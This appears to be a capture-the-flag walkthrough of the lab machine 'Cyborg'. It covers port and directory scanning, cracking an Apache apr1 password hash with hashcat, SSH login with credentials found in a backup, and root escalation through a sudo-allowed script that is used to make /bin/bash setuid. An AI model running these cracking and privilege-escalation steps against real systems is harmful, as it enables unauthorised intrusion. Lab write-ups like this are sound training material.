

CYBORG

we need information for server and web pages etc.

We used the following list of tools:

- Nmap
- gobuster
- dirb

their command list is here

- dirb http://machine_IP
- sudo nmap -A -sV -O -p- 10.10.152.244
- gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -u http://machine_ip

we take results.

```
(biyik@biyik)-[~]
$ nmap -A -sV 10.10.152.244
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-03 17:46 +03
Nmap scan report for 10.10.152.244
Host is up (0.080s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 db:b2:70:f3:07:ac:32:00:3f:81:b8:d0:3a:89:f3:65 (RSA)
|   256 68:e6:85:2f:69:65:5b:e7:c6:31:2c:8e:41:67:d7:ba (ECDSA)
|_  256 56:2c:79:92:ca:23:c3:91:49:35:fa:dd:69:7c:ca:ab (ED25519)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.03 seconds

(biyik@biyik)-[~]
```

```
(biyik@biyik)-[~]
$ dirb http://10.10.152.244

DIRB v2.22
By The Dark Raver

START_TIME: Wed Aug  3 17:32:01 2022
URL_BASE: http://10.10.152.244/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

--- Scanning URL: http://10.10.152.244/ ---
=> DIRECTORY: http://10.10.152.244/admin/
=> DIRECTORY: http://10.10.152.244/etc/
+ http://10.10.152.244/index.html (CODE:200|SIZE:11321)
+ http://10.10.152.244/server-status (CODE:403|SIZE:278)
--- Entering directory: http://10.10.152.244/admin/ ---
+ http://10.10.152.244/admin/index.html (CODE:200|SIZE:5771)
--- Entering directory: http://10.10.152.244/etc/ ---
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

END_TIME: Wed Aug  3 17:45:04 2022
DOWNLOADED: 9224 - FOUND: 3

(biyik@biyik)-[~]
```

The results we got from the “dirb” command were /admin and /etc page.

The admin page is.



- we can see other link to when my mouse on "download" button. And click&save In order to we analyze for folder and documents. Let's extract file on my machine and go to "final_archive" document directory. And write "ls" command. We see that,

```
(biyik@biyik)-[~/.../home/field/dev/final_archive]  
$ ls  
config data hints.5 home index.5 integrity.5 nonce README
```

If you mind want open to all file you can learn some information for ctf. However we open the only main subject documents. So I am run that command "cat README" on terminal and I see borgbackup github and I installed on my machine. "borg extract path/to/final_archive::music_archive"

```
(biyik@biyik)-[~/.../home/field/dev/final_archive]  
$ borg extract /home/biyik/Documents/H4CK-D/THM/Cyborg/src/home/field/dev/final_archive::music_archive  
Enter passphrase for key /home/biyik/Documents/H4CK-D/THM/Cyborg/src/home/field/dev/final_archive: █
```

\$apr1\$BpZ.Q.1m\$F0qqPwHSOG50URu0VQTTn.

We need a passphrase for key found So See other page look

The etc page is

Kali LinuxKali ToolsKali DocsKali ForumsKali NetHunterExploit-DB

Index of /etc/squid

Name	Last modified	Size	Description
Parent Directory	-	-	
passwd	2020-12-30 02:09	52	
squid.conf	2020-12-30 02:09	258	

Apache/2.4.18 (Ubuntu) Server at 10.10.143.196 Port 80

click to passwd and see that:

Kali LinuxKali ToolsKali DocsKali ForumsKali NetHunterExploit-DB

```
music_archive:$apr1$BpZ.Q.1m$F0qqPwHS0G50URu0VQTTn.
```

we search to hashcat example list on

hashcat.net/wiki/doku.php?id=example_hashes

400	phpass, WordPress (MD5), Joomla (MD5)	\$P\$984478476lagS59wHZvyQMArxf58u	\$apr1\$
400	phpass, phpBB3 (MD5)	\$H\$984478476lagS59wHZvyQMArxf58u	
500	md5crypt, MD5 (Unix), Cisco-IOS \$1\$ (MD5) ²	\$1\$28772684\$EwN0gGugqO9.blz5sk8k/	
501	Juniper IVE	3u+UR6n8AgABAAAAHxxdXKmiOmUoqKnZl8iTOhIPYy93EakbPfs5+49YLFd/B1+omSKbW7DoqNM40/EeVmwJ8K	
600	BLAKE2b-512	\$BLAKE2\$296c269e70ac5f0095e6fb47693480f07b97ccd0307f5c3bfa4df8f5ca5c9308a0e7108e80a0a9c0ebb715et	
610	BLAKE2b-512(\$pass.\$salt) ⁺	\$BLAKE2\$41fcd44c789c735c08b43a871b81c8f617ca43918d38aee6cf8291c58a0b00a03115857425e5ff6f044be7af	
620	BLAKE2b-512(\$salt.\$pass) ⁺	\$BLAKE2\$0325dfdc382a014935442f7adb069d4636d67276a85b09f8de368f122cf5195a0b780d7fee709fbf1dcd02t	
900	MD4	afe04867ec7a3845145579a95f72eca7	
1000	NTLM	b4b9b02e6f09a9bd760f388b67351e2b	
1100	Domain Cached Credentials (DCC), MS Cache	4dd8965d1d476fa0d026722989a6b772:3060147285011	
1300	SHA2-224	e4fa1555ad877bf0ec455483371867200eee89550a93eff2f95a6198	
1400	SHA2-256	127e6fbfe24a750e72930c220a8e138275656b8e5d8f48a98c3c92df2caba935	
1410	sha256(\$pass.\$salt)	c73d08de890479518ed60cf670d17faa26a4a71f995c1dcc978165399401a6c4:53743528	
1420	sha256(\$salt.\$pass)	eb368a2dfd38b405f014118c7d9747f0ee75c05963cd9da6ee65ef498:560407001617	
1430	sha256(utf16le(\$pass).\$salt)	4cc8eb60476c33edac52b5a7548c2c50ef0f9e31ce656c6f4b213f901bc87421:890128	
1440	sha256(\$salt.utf16le(\$pass))	a4bd99e1e0aba51814e81388badb23ecc560312c4324b2018ea76393ea1caca9:12345678	
1450	HMAC-SHA256 (key = \$pass)	abaf88d66bf2334a4a8b207cc61a96fb46c3e38e882e6f6f886742f688b8588c:1234	
1460	HMAC-SHA256 (key = \$salt)	8efbe14cec28f228fa948daaf4893ac3638fbae81358ff9020be1d7a9a509fc6:1234	
1470	sha256(utf16le(\$pass))	9e9283e633f4a7a42d3abc93701155be8afe5660da24c8758e7d3533e2f2dc82	
1500	descript, DES (Unix), Traditional DES	48c/R8JAv757A	
1600	Apache \$apr1\$ MD5, md5apr1, MD5 (APR) ²	\$apr1\$ 71850310\$gh9m4xcAn3MGxogwX/ztb.	
1700	SHA2-512	82a9dda829eb7f8ffe9f8e49e45d47d2dad9664fbb7adf72492e3c81ebd3e29134d9bc12212bf83c6840f10e8246b9dbf	
1710	sha512(\$pass.\$salt)	e5c3ede3e49fb6592fb03f471c35ba13e8d89b8ab65142c9a8fda635fa2223c24e5558fd9313e8995019dcbec1fb58	
1720	sha512(\$salt.\$pass)	0764e181851a1c3a6b68944646e73ad8b37e0d7300f5e0a344b23737374493e744a8f6e0a093e500b7c03	

So I create passwd.hash documents while use to hashcat tool with -m 1600 parameters with passwd.hash.

```
(biyik@biyik)-[~/H4CK-D/THM/Cyborg/src]
$ hashcat -a 0 -m 1600 passwd.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.5) starting

Successfully initialized NVIDIA CUDA library.
```

And I got this result.

```
Dictionary cache hit:
* Filename ..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace ..: 14344385

$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.:squidward

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 1600 (Apache $apr1$ MD5, md5apr1, MD5
Hash.Target.....: $apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.
Time.Started.....: Wed Aug  3 18:28:44 2022 (0 secs)
```

-squidward

And we can look the home folder in and can find username and password for ssh.

```
File Actions Edit View Help
(biyik@biyik)-[~/home/field/dev/final_archive]
$ ls
config data hints.5 home index.5 integrity.5 nonce README

(biyik@biyik)-[~/home/field/dev/final_archive]
$ cd home/alex/Documents

(biyik@biyik)-[~/final_archive/home/alex/Documents]
$ cat note.txt
Wow I'm awful at remembering Passwords so I've taken my Friends advice and noting them down!

alex:S3cretP@s3

(biyik@biyik)-[~/final_archive/home/alex/Documents]
$
```

YES THAT'S IT.

--- user flag -----
-ssh alex@machine_ip

and for password [S3cretP@g3](#) and login.

"Cat user.txt" we found user flag.

---- Root flag -----

We run the "sudo -l" command to find out our permission and we see permission on etc/mp3backup/backup.sh script on (ALL:ALL) Permission. So we run this command ". /etc/mp3backup/backup.sh -c /bin/bash" and you in root sign in but can't any see command output to on terminal, because terminal on run script is write with root permission command but can't read with root permission. However, Since we are running the " -c /bin /bash" command, we can view the root directory in bash. Let's look! So for can I that make, need a simple run a few command run.

```
backed_up_files.txt backup.sh backup.sh.save ubuntu-scheduled.tgz
alex@ubuntu:/etc/mp3backups$ ls
backed_up_files.txt backup.sh backup.sh.save ubuntu-scheduled.tgz
alex@ubuntu:/etc/mp3backups$ sudo ./backup.sh -c /bin/bash
/home/alex/Music/image12.mp3
/home/alex/Music/image7.mp3
/home/alex/Music/image1.mp3
/home/alex/Music/image10.mp3
/home/alex/Music/image5.mp3
```

```
Backup finished
root@ubuntu:/etc/mp3backups# chmod 4577 /bin/bash
root@ubuntu:/etc/mp3backups# exit
exit

alex@ubuntu:/etc/mp3backups$ bash -p
bash-4.3# ls
backed_up_files.txt backup.sh backup.sh.save ubuntu-scheduled.tgz
bash-4.3# whoami
root
bash-4.3# cat /root/root.txt
flag{Th4n55_40r_pl4y1ng_H0p3_y0u_0nJ053d}
bash-4.3#
```